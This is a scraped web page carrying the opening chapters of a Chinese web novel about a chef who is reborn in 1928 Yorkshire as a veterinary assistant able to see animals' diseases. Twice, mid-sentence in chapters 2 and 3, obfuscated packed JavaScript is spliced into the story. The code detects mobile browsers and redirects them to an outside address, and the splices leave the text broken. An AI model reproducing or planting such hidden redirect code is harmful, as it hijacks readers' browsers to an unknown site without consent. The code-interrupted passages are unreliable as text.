《黑心兽医今天又吃掉顾客了吗》 1. 第 1 章 1928年，英格兰约克夏郡德纳姆镇，下午2点一刻。 天热的像要把人融化进衣服里。 林维伦终于结束了近七个小时的长途跋涉，从蒸笼似的老爷巴士车上走了下来。 廉价坚硬的皮鞋硌的脚趾生疼，粗棉衬衫袖口又磨开了线。 他“啧”了一声，将弯弯曲曲的线头小心缠在袖扣上，又把袖子挽起，遮挡住破掉的部分后，才抬起头，视线扫过街道两旁的门牌号。 “45号….61号….77号…116号….118？嗯？117呢？” 他在原地转了两圈也没看见117，却看见了街角一家面包店。 梆硬的黑面包支棱八翘摆在窗棱下，柔软的蜂蜜面包散发出浅淡香气。 “咕咕。”肚子很配合戳了大脑两下，“咱已经一天没吃饭了！” 林维伦掏了掏兜，又将开裂的手提箱翻了个遍，只摸出2先令1便士。 横跨大不列颠两郡，几乎花掉了他全部身家。 但人总得吃饭。 肚子里有底，等会才有底气去面对接下来的面试——最后一个面试机会。 林维伦来到面包店，花费7便士买了一个全麦面包，又花了1便士要了杯水喝。 原本黑面包是最便宜的，只需要3便士。但记忆里那东西真的太硬了，都能拿来磨刀，面试之前根本啃不完。 所以只能退而求次，但这样一来，林维伦兜里只剩下1先令5便士了。 即便如此，他仍然在咽下两口面包，缓解了胃部痉挛后，扬起笑脸，礼貌向面包店老板询问117号的位置。 “117？费里诊所？”面包店老板是个穿蓝色围裙的妇人，她上下瞧了一眼年轻人的打扮，“你也是要去应聘兽医助手的？” 林维伦心一沉，面上却依旧在笑，“是的，我从达勒姆郡来，不知道能不能成功。” “那你可要快一点喽！”下午活儿不多，妇人有闲情揶揄长相不错的年轻人，“这一下午，至少已经有十来个应聘者过去啦，老费里家竞争激烈啊！你看见那条小巷了吗？直走，爬满常春藤那家就是了。” 林维伦顺着她手指的方向看过去，果然瞧见一家外墙被常春藤覆盖的三层小楼。因为在巷子把头第一家，被外墙挡住，所以他才没有注意。 现在，他只需要转动角度，就能看见小楼门外的台阶上，站满了和他年纪差不多的青年。而且粗略扫过，每个人的手提箱都没有裂口的。 “最近每日来应聘的都大排长龙呐！”妇人擦擦手，“政府都不推荐养劳动马群了，你们这些刚毕业的小伙子可完蛋咯！” 林维伦：……开局还能再崩一点么？ 但凡他早穿过来两年，也会拽着这具身体去改专业。 1928年，距离政府忽视农业已经过去了两年整。年轻人都挤进伦敦当工人，农村逐渐衰落，再加上人们已经不在饲养大量劳动马群，兽医的需求量急剧缩小。 每一个刚毕业的兽医，都好像立刻加入了领失业救济金的长蛇阵。 《记录》周报上每天有三四个职位招聘，可每个平均都有60人申请。 他穿过来的时候，这具身体已经毕业，坐上了前往此地的火车。 记忆融合的不错，林维伦旁观了这位兄弟凄惨的面试经历。 当然，有人说就算真找不到兽医工作，也可以去干干别的。 这种事别人行，林维伦可不行。 准确的说，维伦·林格特可不行。 在火车上刚醒来的时候，林维伦翻遍了手提箱和随身物品，才确定“林格特”是这个世界他的姓。 那时候他因为获得了一具健康年轻的新身体而激动不已。 再也不需要吃永远吃不完的药，在只剩下皮的手背上扎无数次针。也不需要夜夜被癌细胞折磨，看镜子里逐渐死去的身体。 仅此一项，足以抚平一切穿越带来的茫然和不协调感，他几乎是欢呼雀跃的。 直至他看见那一摞政府资助孤儿的学费贷款详单。 详单上写的很清楚，是政府资助了他这个孤儿顺利读完皇家兽医学院外科兽医专业，四年共计花费350英镑。 如果他毕业后没有从事相关职业，就等于浪费了资助名额，必须加倍偿还这笔钱及利息，总计1300磅。 要是还不起这笔钱，那抱歉，他将面临5-8年刑期的起诉。 1300磅是什么概念？ 根据记忆，林维伦大概换算了一下。 1928年1英镑的购买力，约等于2024年60英镑。 根据9.16的汇率，等于549.6人民币。 1300磅就是714,480民币。 …….心梗无比！ 林维伦掂量了一下去当法外狂徒的成功率。 很可惜，无限接近于零。 毕竟穿越之前，他只是一个平平无奇的米其林三星餐厅总厨。 既不喜欢看间谍电影，也不是什么军事迷。 20世纪初的大不列颠，已经是个法治社会了，他根本不可能再好不容易重活一次后，还让自己连面儿不都能光明正大地露出来。 所以林维伦只能揣着一脑袋记忆，硬着头皮来到这里——德纳姆镇，他最后一次面试的机会。 如果不成功，恐怕穿越第一晚只能去睡桥洞了。 好在林格特很争气，是今年皇家兽医学院的第一名，药理学+外科学皆是满分的优秀毕业生。 这给了林维伦底气，纸上谈兵也是谈兵。 他几下干掉全麦面包，刚迈出去的步子想起什么又撤了回来。 “夫人。”年轻人抬起脸，摸出5便士放在吃完的餐盘里推过去，笑的真诚无比，“您距离费里诊所这么近，一定和费里先生很熟悉吧？” 老板似乎没料到这一幕，愣了一下，随即大大咧开嘴，一把扣住银色硬币，“哎哟哟！这是哪儿来的好孩子？我当然和费里很熟，他的管家阿尔玛每晚来这里买面包时，都对找不到心仪的助手而感到头痛呐！过来，孩子。” 老板勾勾手指，对着林维伦凑过来的耳朵小声说，“老费里不喜欢笨笨傻傻什么都要问的助手，他老啦，在这里呆不了多久了。他想找的是接——班——人——，接班人，你懂吗？那些刚从学校毕业的小呆瓜们，很难入他的眼呐！可现在执业兽医还肯给别人当助手的太难找了，所以他才给你们发去邀请信的，明白了吗？” 刚刚毕业的小呆瓜：……. 林维伦深吸一口气，“非常感谢您，这对我来说太重要了。” 不能表现的太青涩稚嫩，最好拥有一锤定音的诊断本事。 ……纸上谈兵真能做到么？ 林维伦很怀疑，但他没有任何办法，只能向前。 临走时他问了面包房老板的名字，之后站到了117号的队伍最后。 前面几人察觉动静，回头看了他一眼，视线在扫过他破旧的衣服和手提箱后立刻变得不屑。 林维伦根本无所谓，拼命回忆着林格特的大学知识。 很快，伴随着垂头丧气走出来的人，队伍迅速缩短至屋内。 一位约莫40多岁、面容和善的女人给他递了一杯红茶，确认了他的身份后松了口气说，“今天你是最后一位了。”然后在他身后关上了门。 站在长长的甬道里，林维伦先注意到了左手边的诊室。 上半边透明的玻璃门清楚显现出诊室内部的情况，一个头发花白的老人穿着暗黄色的工作服，正在给一条查理士王小猎犬检查臀部。 诊疗床旁站着一个不知所措的年轻人。 就算隔着一道门，也能看见那只狗的屁股毛都被剃光了，整棵菊花肿的宛如熟透的毛桃，红的白的挤在一起。 第一眼还差点以为小公狗的雄□□官长到后面来了。 不过林维伦的脑子比反应更快，仿佛触发了自动抢答机制，一串名词不受控制蹦了出来——狗□□腺增生，需先将□□腺液挤干净，后涂抹抗生素粉防止感染发炎。 “噗呲。” 就像在印证他的答题，诊室内，老费里也用手挤出了□□腺液。 就是增生太大，干的稀的到处乱喷，活像个气门阀。 小猎犬嗓子都喊劈了。 年轻人连忙递上一个白色玻璃瓶，却被老兽医狠狠瞪了一眼 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果然，阿尔玛脸部线条瞬间放松下来，“玛姬都没有和我提过，你这孩子还真是…..快点进来，”她声音放低，“我刚刚烤了黄梨烤饼。前面的达芬奇还没有结束，你可以悄悄吃一块。” 原来是狗的名字。 “真是太感谢您了。”林维伦跟上管家，穿过长而窄的甬道，来到后面的客厅。 看来这家诊所是直接开在住房里的家庭诊所，上下共有三层，生活区和诊疗区就以刚刚那条走廊为分割。 房子里到处充满着古典的英伦气息，色调厚重却繁复。透过大开的窗户，还能看见外面茂盛绚烂的小菜园。 他看见阳光下茁壮生长的芜菁、蚕豆、牛皮菜、大黄还有西葫芦，再远一些还立着小凉亭般的葡萄架，架下是一颗颗饱满的羽衣甘蓝。 有蝴蝶落在甜菜叶上，再飞走时翅膀掠过笔直的韭葱。 “快来，坐下吧。”阿尔玛端上一盘酥皮烤饼，用的应该是熟透的大黄梨，酥皮脆脆的，还浇了糖浆，样子做的特别好看。 林维伦咬了一口——救命，齁甜，嗓子要黏在一起了——“这真是太好吃了！”他欣喜开口，“我从没有吃过如此美味的烤饼，您完全可以靠这个去伦敦开店。” “那么好吃吗？”阿尔玛被哄的眉开眼笑，热情建议，“那你多吃两块，锅里还有很多呢！” “虽然这是我最大的愿望，”他恋恋不舍放下，“但我想我应该先去洗手换衣服，您知道的，这次面试对我来说非常非常重要。” “的确是这样，”阿尔玛拍了下手，引着他来到窗户旁的洗手池，“好孩子，那我先去和费里说过一声，你洗好了直接过来诊疗室就可以。” 这时，窗外飞进来一只苍蝇恰巧落到林维伦手背上。 事情就是在这时脱离掌控的。 在年轻人的视野里，那只普普通通的苍蝇头顶，突然出现一行小字—— 【一只后腿骨折的苍蝇】 身形瞬间顿住，林维伦缓缓：？ 眼瞧着苍蝇晃晃悠悠飞走，他第一反应是看向离他最近的管家。 太太却像什么都没看见一样“噔噔噔”转身离开。 所以…..只有他能看见？ 林伟伦头皮发麻，心脏如擂鼓般极速跳了起来。 作为掌控一家高级餐厅的总厨，他从不怀疑自己的感官。 更何况他已经没有任何疾病了，眼花这种事是不可能出现的。 那是出了什么状况？穿越福利大礼包？抑或是林格特有什么他不知道的精神错乱？ 这时，走廊上响起阿尔玛太太的声音。 “快来，林格特！到你了！” 他压下满腹疑虑，换好工作服后走进了诊疗室，和一只拖把一样的波斯猫对上眼。 这只猫的主人至少三个月没给它洗过澡，灰色的长毛打结在一起，闭上眼睛就能扮演流浪汉用的抹布。 “维伦·林格特？”老兽医目光锐利地瞥了他一眼，“你来看看这只猫怎么回事。” 2. 第 2 章 看看这只猫怎么回事。 林维伦依照记忆戴好听诊器，尽量放松身体，让自己表现的像个老手。 然后走到诊疗床旁边，看了一眼。 整只猫浑身无力，软塌塌趴着，对突然出现的生人完全没感觉。 他抬手揉了揉波斯猫的脑袋。 瞬间，一小行发光的文字登时出现在猫头顶。 【一只慢性□□炎的波斯长毛猫】 这次，他看清楚了。 那行字有点像游戏中的物品鉴定，【后腿骨折】和【慢性□□炎】都是动物的异常状态，而且只在他眼前显示。 他两手扒开波斯猫的灰细后腿，果然看见了隐藏在长毛里的两坨。 如果不注意，很难发现被缠住的两坨已经肿起来了。 确认这一点后，林维伦抬眼望向老兽医，“先生，这是慢性□□炎。” 还在观察的费里：？？？ 他疑惑，“你怎么这么快？看清楚了吗？” “是的，”林维伦摘掉听诊器，他压根儿没用上这东西，“这只波斯猫的毛太长了，它的主人还不喜欢处理，总是缠在那个位置，和后腿摩擦，所以才导致了炎症出现。” 他就像已经拿到答案的考生，只需要在记忆中找出解题公式往上套就可以。 “而且猫的精神萎靡，摸起来已经能感到明显发热，说明炎症已经扩散到全身了。” 费里先生的表情认真起来，低头仔细检查了一番，震惊发现年轻人竟然说的都对！ 可这才过去多久？有5秒钟么？他怎么会这么快？？ 是猜的？还是巧合？ 不，不会，类似症状的疾病有不少，然而年轻人的语气却异常笃定。 他是确认了才开的口。 费里收起惊讶，再抬头时，脸色却很不好看，“林格特先生，请问你已经结束了？” 这是一个很危险的语气，有点像高三班主任那句“你确定这个答案是对的么？” 这种时候如果回答“没错啊”，大概率就会被赶到走廊上去站着。 所以林维伦没有出声，而是迅速又提起惨兮兮的波斯猫，又仔细检查了一遍。 还把体温计捅进了猫的屁股里，亲自查看温度。 看着水银飙升至红线，他拔了出来，抬眼，一字一顿，“先生，我认为我的诊断没有错。” 老人的表情这才缓和了不少，但语气依然很严肃，“兽医是个很危险的职业，动物的生命全权由我们掌握。这里不像伦敦那些大型兽医医院，有那什么x…..x….x….” 林维伦试探着，“x光机？” “对！”老兽医哼了一声，“你又不是x光机，怎么能几秒内就获得答案呢？而且就算是x光机，也不敢说最后的结果一定是完全正确的。你的一句话就能决定一条生命的去留，所以我们必须足够慎重，以确保不会发生任何让上帝都为之可惜的事情，你明白么？” 20年代初，x光机还没有被普及，成像及分辨率也都不太行。 更多的时候，全凭兽医的经验去做诊断，所以第一次他不到5秒就给出了答案，费里虽然震惊，但确实感到了草率，这才非常生气。 年轻人追求速度是好事，可和生命有关的事，严谨必须是第一位的。 林维伦微微一笑，露出符合这个年纪的乖顺，“您说的对，我记住了。” 费里满意了，“那你觉得我们应该怎样治疗？” “可以剪掉它□□周围的长毛保持干净，之后涂抹磺胺嘧啶抗菌消炎。也可以直接切掉，永绝后患。”林维伦看了费里先生一眼，狡黠一笑，“当然，我的建议是直接切掉。” “哦？为什么？” 林维伦轻放轻声音，用只有两人才能听见的音量说，“进来时我看见了您外面悬挂的诊疗金价格单，只是磺胺嘧啶的话，才只需要6先令。但要是切掉，您就可以直接收取14.5先令的手术费以及后续产生的观察与保养费用了，不是吗？” 啧。 这还真是….. 费里的眼神变了。 最初阿尔玛走进来说的时候，他还以为是个只会耍滑头的小家伙。 不过现在看，能得第一名的果然不一样。 老费里：“我记得你的名字是……” “维伦·林格特，”年轻人弯了弯腰，“我刚刚从皇家兽医学院毕业，是今年的优秀毕业生。我的病理学、外科学以及兽医法律与伦理都是满分。这次来，我带了兽医学院的信函以及成绩单，您可以随时查看。” “等结束了我会去看的，”老兽医摆摆手，“现在你去和外面的赫伯特先生说明情况，他的上校需要在这住两天接受切掉治疗。” “好的，我这就去。”林维伦走了出去，语调平静和赫伯特说明情况。 在成为主厨之前，他跟着师傅学习了三年多的时间，又独自在十多个国家学习打拼了近五年，之后才回到上海，从小小的分厨做起。 后厨的勾心斗角林维伦经历不少，还打过好几场漂亮的胜仗，否则也不会在没有任何背景的情况下，坐稳高级餐厅总厨的位置，还连年摘星。 他是一个很有经验的“社会人士”，明白自己什么时候应该说什么，应该怎么说，什么样的措辞最容易让人接受。 所以赫伯特很轻易的接受了他的上校即将变成公主的情况，并对费里兽医的负责与关怀表示诚挚的感谢。 “账单会寄到您家中，“阿尔玛将人送出去，“下次见。” 诊疗室内，头发花白的兽医也已经给上校（or公主？）剃好了毛，放进木制笼子，并贴上标签。 后面还有其他预定的客户，他得先处理完那些，才能做手术。 这时他冲外面叫了一声，“嘿，小子！去叫下一位！法国来的漂亮鹦鹉！” “喔天呐！上帝保佑！”阿尔玛太太喜笑颜开，连忙推着他向前，拼命挤眼睛，“好孩子，快点去呀！别让咱们的老板等急啦！” 林维伦笑了一下，背过身后才松口气。 看来稳了。 然后他没名没分跟着老兽医干了一天，看了一只鹦鹉、六条狗、三只猫外加两只兔子。 午餐吃的是干面包、煎火腿配碗豆汤。 英国菜不愧被誉为“来自地狱的烹饪”，在费里眼里美味无比的煎火腿，林维伦却味同嚼蜡。 干面包就不说了，硬的必须得用口水在嘴巴里慢慢融化，吃快了恐怕能把嗓子划出口子。 火腿不知道放了什么奇怪的香料，咬下去连肉的味道都尝不出来，只有一股直冲脑壳的酸味。 更别提那碗豆汤，颜色仿佛是被诅咒的橘红色，冒着不详的气泡。 夕阳西下，忙碌了一天的诊所才慢慢安静下来。 阿尔玛太太准备了薄脆甜饼、烤香蕉和两大杯淡啤酒。 迫使自己忽略掉齁甜的糖浆，饥肠辘辘的年轻实习生只吃了几块香蕉和饼，就再也吃不下去了。 老费里终于忍不住哈哈大笑，“看来林格特先生要尽早熟悉诊所的工作强度才行啊。” 林维伦“刷”地抬头。 “行了，这份工作是你的了，你的确非常优秀，”费里拉开椅子坐了下来，“是我见过这么多应聘者当中最优秀的一个，我还有什么理由拒绝呢？” “周薪2磅，管吃不管住，你觉得怎么样？” 2磅是个还可以的价格，林格特曾在兽医学院旁的酒馆里打工赚取生活费，那时候他的薪水是一周1磅10先令，还不包吃住。 但是，他望着眼前的糖浆烤香蕉陷入沉思。 脑海里适时闪过更恐怖的午餐。 费里灌了一大口啤酒，“阿尔玛的手艺非常不错，这一点你已经感受到了是不是？她可是每年圣诞节大家都会在诊所相聚的原因，大家都对她都赞不绝口呢。” 一日三餐都要吃这个？ 绝对不行！ “先生，非常感谢您给我这个机会。”林维伦思索了一下才缓缓说道，“但总是麻烦太太我实在是太不好意思了，能否我自己解决餐食，薪水方面稍微补一点点？” 老人偏头瞥了他一眼，又扭头望向外面的花园，管家正在侍弄新长出的蔬菜。 实习生立刻端出恰到好处的悲伤来，“您知道的…..我是个孤儿，从小就没有父母，在福利院长大。阿尔玛太太她是我见过最最善良慷慨的太太，她不该为了我这样的人……” “一周2磅10先令。” 林维伦愣了愣，“您说什么？”他还有一大堆腹稿没来得及说呢！ “一周2.5磅，”老人摆摆手，似是不愿意在这个问题上纠结，“想来吃就来吃，不想的话你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15412829|168832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就自己负责。回去之后先预支给你第一周的，找个离得近些的房子安顿下来。” 哦嚯！ 穿越的灵魂在心底发出欢乐庆贺！ 成功了！他今晚不仅用去睡桥洞了，还争取到了对实习生来说很不错的薪水！ 只要能在这里干下去，拿到费里的认证书和推荐信，他就可以摆脱实习生的头衔，成为初级兽医。 之后再通过职业考试，就可以正式获得执业兽医的资格证了！ 等到那个时候，他就可以彻底摆脱掉政府资助悬在头顶的利剑了！再也没有人能管他做什么了！ 死之前，林维伦掌握着米其林三星的后厨。但无论如何，他也只是一个厨师。奋斗多年，也只人模狗样的在大上海搏出一个小小角落。 说不上太失败，但也从未搅动过什么风云。 重活一次，在这个米其林还未登上历史舞台的年代，他是否也有机会让自己的名字留在时间长河里？ 林维伦眼睛亮的吓人。 天边，弯月如刀。 — 或许是早就做好了要聘用助手的事，林维伦还没开始租房，老费里就掏出早已准备好的三处。 都离诊所非常近，一间间看过之后，林维伦最终选择了离诊所不远的一间空房子。面积不大，只有二十几平米。原本是隔壁家的外仓库，后来改成了佣人房。 两个月前这家人带着女佣搬到了威尔特郡，房子委托给了费里帮忙租赁。 家具只包括一张双人床、衣柜、一张小小的圆桌和一个极为简陋的厨房。逼仄阴暗窄小，还有点潮。 唯一的好处是20世纪初的大不列颠，自来水和煤气灶已经很普及了，林维伦庆幸自己不用像野人似的生火做饭。 最重要的是，这是唯一一间他目前负担得起的房子，每周租金只有5先令，其他的都要1磅多。 为了让新来的助手安心收拾，费里先生还给了他一天假期。 不仅如此，在签完确认租赁书后，阿尔玛太太还送来了一套干净的被褥、一篮子花园里摘的新鲜菜、一盘培根卷和几样调味料。 “好孩子，恭喜你。”管家真诚道，“如果饿了来不及做饭，欢迎随时过来。” “非常感谢您。”林维伦笑着将人送走，关上屋门，立刻被阴暗笼罩。 他环顾一圈，轻轻摩挲着手指，赚钱简直迫在眉睫。 不过现在也没法急，简单打扫了一番后，林维伦便揣上钱沿着小巷走了出去。 他不需要购置太多东西，但厨房必须填满。 穿越到现在，他还没有好好吃过一顿饭，阿尔玛太太的糖浆烤香蕉现在还糊嗓子。 德纳姆镇不大，集市非常好找。 各色小贩在木头搭建出来的摊位上摆满玲琅满目的商品，瓜果蔬菜，肉骨鱼面，应有尽有。 林维伦直奔肉摊。 他的兴奋不无道理，毕竟1928年，连土地都没被农药污染过，饲料添加剂基本为零，牲畜吃的全是干净的牧草干草，喝的是汨汨河水井水，肉质一定是想让人拍手称快的完美。 然而事实却让他大失所望。 售价每磅2先令的牛肉，居然是隔夜肉。而且肉质松散，颜色深的不正常，边缘已经变成暗褐色，看上去硬邦邦的。 肉摊老板一边磨刀一边招呼，“来看一看吧，客人，这里全都是来自自由国度的进口牛肉，绝对的上好肉，连伦敦吃呢！” 林维伦摇摇头，发现1先令7便士的猪肉摊也是同样的情况。 这些价格不算贵，且几乎都是进口肉，不少人都愿意购买。 可林维伦无法忍受吃下去这样的肉。 他对食物品质有种近乎偏执的追求。 他犹豫了几秒，最终还是来到禽类的摊位。 鸡肉是最便宜的，看起来也是正常，每磅只要10便士。 他找了个人多干净的摊位，立刻受到老板娘热情招待，“一张漂亮的新面孔！快来孩子，这些都是今天午时新鲜宰杀的，请放一万个心吧，你喜欢哪个可以随意挑选。” “好的。”林维伦早就看中了鸡大腿和鸡胸，毫不犹豫伸出手，然而—— 【一条痛风鸡的鸡大腿】 【一块脂肪肝综合症鸡的鸡胸】 林维伦一愣，鸡大腿“啪”一下掉在摊位上。 3. 第 3 章 真希望未来所有金手指都能出个说明书什么的。 林维伦看看鸡腿，又看看摊位前络绎不绝的客人们，再次试探着点了点其他鸡肉。 【一块痛风鸡的鸡胸】 【一只脂肪肝综合症鸡的鸡翅】 林维伦：……. 好嘛，病鸡开派对。 所以不只是活体动物，连动物身上的肉也行？ 那其他部分呢？比如毛或者角之类的？ 这个问题暂时没有答案。 年轻人的注意力重新回到鸡肉上。 按理说，患病的牲畜是要经过兽医严格检查，确认签字后才可以进入屠宰场。 如果是因患病死亡的牲畜，那么几乎没有屠宰场愿意收。 不过还是那句话，这个时代本身检测的手段就稀少且单一，全靠兽医手动观察。在政府长久忽略农业后，不少兽医都改了行，有地方管不到很正常。 林维伦估计，这位老板娘恐怕根本不知道手里的鸡肉其实是有问题的，更别提那些被肥嫩新鲜的鸡肉吸引来的顾客们了。 每个人都抱着廉价的鸡肉，等待着回家来一顿美味大餐，脸上那叫一个满足快乐。 如果他们知道事实会怎么样？ 林维伦不动声色转身，又去其他一两个禽类售卖摊位转了转。 不转不知道，一转吓一跳。 几乎每个摊位上的禽类肉都多多少少带点毛病，虽然吃下去可能对健康不会产生冲击，但这患病概率也太大了。 而且全都是痛风和脂肪肝，难不成这些鸡全都来自于同一个农舍？能喂出这么多痛风和脂肪肝……这是拿大鱼大肉当饲料喂呢？ 真应该给那位农夫颁一个慷慨大师奖牌。 眼睛一转，他来到第一家摊位上，找到看起来颇为好说话的老板娘，“您好女士，请问有整只活鸡卖吗？” 老板娘抽空回头看了他一眼，手下还在忙着为客人剁骨头，“砰砰”声中她快速摇了摇头，“要是想买一整只，你可以去屠宰场或者隔壁村的农舍，集市里可没有。” 老板娘虽然笑的热情满满，却也心思颇多。既没有说出屠宰场的名字，也没说具体是哪个农舍。 林维伦道了谢，知道问是问不出什么了。 他暂时将这个问题压了下去，费了一点劲，对着摊子上的鸡肉摸来摸去，才找到几块健康鸡肉，立即付钱买了三磅。 奇怪的动作惹得周围人频频看他，活像在看变态。 林维伦统统无视，提步离开后又转到调味店打包上几种调料，接着再去买一提篮鸡蛋，小袋面粉，最后来点蜂蜜，装进纸袋后回家。 沿途路过酿酒店时刚巧碰上降价打折，于是他毫不犹豫走进去，买了一瓶廉价红葡萄酒。 回到家，翻看昨晚阿尔玛太太送来的新鲜蔬菜，林维伦从底下翻出几个颜色艳丽的红椒。 刚摘下来的红椒脆脆的，洗净捣碎成泥，加入葡萄酒调成酱料，之后放入辣椒粉和黑胡椒粉调味。 尝一尝，有点淡，撒把盐。 嗯，味道差不多了，他转头去处理鸡肉。 鸡皮单独切下煎出油，倒入洋葱末和辣椒粉炒香，之后再把焯过水的鸡块倒进去，用盐和月桂叶调味。 嫩白的表皮几乎是瞬间发生了褐变反应，像在最滑嫩的肉外拉起一道酥脆城墙。 用叉子轻轻一扎，半透明的汁液汨汨流出。此刻倒进西红柿丁和洋葱碎，最后倒入刚配好的红椒酱——红海立刻吞没了鸡肉，顺着之前被叉子被扎出的一个个小孔，疯狂蔓延进最深处。 霎时间，被鸡油烫了一遍红椒酱激发出的浓烈香气，像爆开的蘑菇云，一路缭绕盘旋，把不大的小屋尽数包裹，还顺着打开的窗户一路漫到小巷。 “什么东西？怎么这么香？”抱着鹅的农夫停住脚步，不断嗅着，嘴巴里像开了闸，馋的直流口水。 刚打开诊所门打算叫下一位的阿尔玛怔了怔，忍不住深深吸了一大口，“上帝啊，这是谁家新学的烹饪？好香！” 拄着手杖的绅士，遛狗的女孩，整条小巷行走的人全都下意识驻足，震撼地沉浸在突如其来的香味中。 连小巷外的主街上都有人探头探脑看进来，英格兰的内敛在这种时候仿佛被彻底丢弃了，人们彼此望着，互相询问，“嘿！那究竟是什么味道？哪里新开了餐馆吗？” “好了坦克，不要叫！出门前我们不是刚吃过么！虽然我也…..但我们不应该…..天呐！你不要叫了！” “到底是哪家？如果我能吃上一口，我愿意为此付出1个英镑！” 林维伦不知道外面发生了什么，他在忙着煎柠檬甜饼。 底味用的是柠檬皮碎和柠檬汁，甜则用的是蜂蜜和黄油，最后使其升华的，是阿尔玛太太赞助的碎杏仁。 咬上一口，层次丰富的口感从口腔一路延伸至胃，馥郁的香气将整个人都包裹起来。 炖鸡也非常不错，因为先煎过，鸡肉表皮油香酥脆，里面的鸡肉更是肉汁四溢。 恰到好处的辣渗透在每一寸，像一个个小钩子，勾住口腔中的软肉后立刻释放出更浓郁繁复的香。 尤其是其中的红葡萄酒，不仅让鸡肉更软烂，浅淡果香更是很好的中和了鸡的腥气，只留下最激烈味觉感受。 林维伦发出餍足的叹息，就是不知道外面发生了什么，听起来乱哄哄的。 为了不被打扰，他起身关掉了窗户，又给自己倒了一杯红葡萄酒。 “穿越快乐，活着快乐。” 身体被滋养后，睡的就格外舒服。 第二天一大早，简单做了点面条，和昨晚剩的红椒鸡一起煮了吃后，林维伦精神抖擞来到诊所。 彼时阿尔玛和费里正在吃早餐，邀请了林维伦却被婉拒，只能给他倒上一杯茶。 长桌上摆着烟熏香肠和土豆泥，标准的英式早餐，昨天费里先生还夸赞过。 但现在，两人吃的都有点心不在焉。土豆泥只少了一点，香肠更是剩了大半盘。 “不是对你有什么意见，阿尔玛，只是昨天那个味道实在…..” “我明白的，先生，不只是你一个人，整条街的人都在找，听说连狐狸酒馆的厨师都被惊动了，就是他出来的太晚，味道早就散了。” “究竟是谁要在这条街上开餐馆了？”老费里发出疑问，“从未听说过。” 阿尔玛摇了摇头，“无论是谁，只要他开起来了，狐狸酒馆恐怕就完蛋了。” 两人说着，谁也没注意到喝茶的年轻人动作一顿。 馋归馋，活儿还是要干的。 今早全是外诊。 老费里开上他28年的福特车，载着崭新助手驶离小镇。 洁净的空气送来原野的气息，整个山谷都在晨光中伸展在眼前，四周高山的轮廓仿佛被镀上一层金边，连绵的农田草场如同厚实的地毯，安静铺盖在整片大地上。 德纳姆镇被数不清的牧场与农场包围，而这些中的绝大部分都是费里的客户。 “这也是我自己忙不过来的原因，”胳膊肘搭在车窗上，老人大声说道，“不仅要照顾诊所里的客户，还要出外诊，有时候还有夜诊。这行比想象中的要辛苦很多。” “我明白的，先生，”林维伦摆出严肃的脸，“在踏入皇家兽医学院那天，我就已经做好了准备。” 老人满意点头，紧接着就听见身旁人问，“先生，离我们最近集市上的鸡肉，您知道来自哪一家农舍么？” “可能是东边的斯图尔特家，他有附近最大的鸡场和鹅场。也可能是北边的保罗家，他家价格低廉，很受小商贩欢迎。”费里看了他一眼，“问这个干什么？” 年轻人笑了一下，“昨晚上买了一点，配上土豆泥很好吃，所以问一问。” 老费里的眼神变得怜悯，“如果独自吃不好了，不要不好意思，可以随时过来，阿尔玛一定非常欢迎。你们这种刚从大学毕业的年轻男人，哪会做什么菜？别天天干噎土豆泥噎出毛病来。” 没过多久，他们在一处农舍前停下。 一位身材魁梧的男人正抓着贝雷帽在门口等待他们，看见福特车停下，男人长长松了口气。 “嗨！费里，你终于来了！快来这边，我把牛单独隔开了。” “嘿！等等，”费里几步跟上他，“费迪南德，究竟怎么回事？牛出了什么问题？” “不知道，从一星期前牛就开始不对劲了——不停在牛舍里转圈，嘴里吐出的白沫有那么多，一直在抖，还喜欢用头去撞柱子…..”说到一半，他忽然瞧见默默跟在身后的年轻人，“那是谁？” “诊所新来的助手，维伦·林格特，”费里不着痕迹说道，“能力很不错，非常聪明，专业也很扎实，我选了好久才找到的精英。” 林维伦微笑着向费迪南德点头。 可农夫却上下打量他一眼后，很不在意地“哼”了一声，别过头去继续和老费里交谈。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15412830|168832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 明显就是瞧不上这个脸白白的、高且削瘦的新助手。 费迪南德带着两人走进牛舍，林维伦看见牛舍外面的角落里随意扔着两条狗链。 他没太在意，几乎每一家牧场都会养狗，很正常，他跟着进入牛舍。 看得出费迪南德家条件应该不是特别好，牛舍是用各种各样的木头垒建而成的，有些木头明显就是各地捡来的废弃物，颜色、木纹全都不一样，看起来杂乱无章。 角落里铺着大量干草，泥混杂着牛粪将地面染成另一种颜色，就算门大开着也掩盖不了冲天的臭味。 林维伦为自己唯一一双鞋点了个蜡，明白今晚的购物单必须再加双胶皮雨靴了。 其他牛都被赶出去吃草了，只有那头出问题的牛站在里面，嘴巴附近有大量白沫，身体一颤一颤的，步伐不稳，脑袋经常撞到前面的柱子上。 这是一头公牛。 “过不了几天就到它出栏的时间了，”费迪南德将两手搭在围栏上，只看着费里说，“给我开点强效药吧，这样你就不需要在它进屠宰场之前再跑一趟了。” 老人没说“好”也没拒绝，而是朝后招了招手，“林格特，准备一下，等我看完，你也来看看。” 费迪南德抿了抿嘴，怀疑伴着不信任的的目光落在年轻人脸上。 但老费里已经亲自上手检查了，他就没再说什么，只是倒豆子似的将这几天牛的行程经历说一遍，“它什么奇怪东西都没吃，每天就是去固定的小河喝水，去牧场吃草。我买的干草也没什么问题，都是吃了很久的。是不是中暑了？最近天热的不行。” 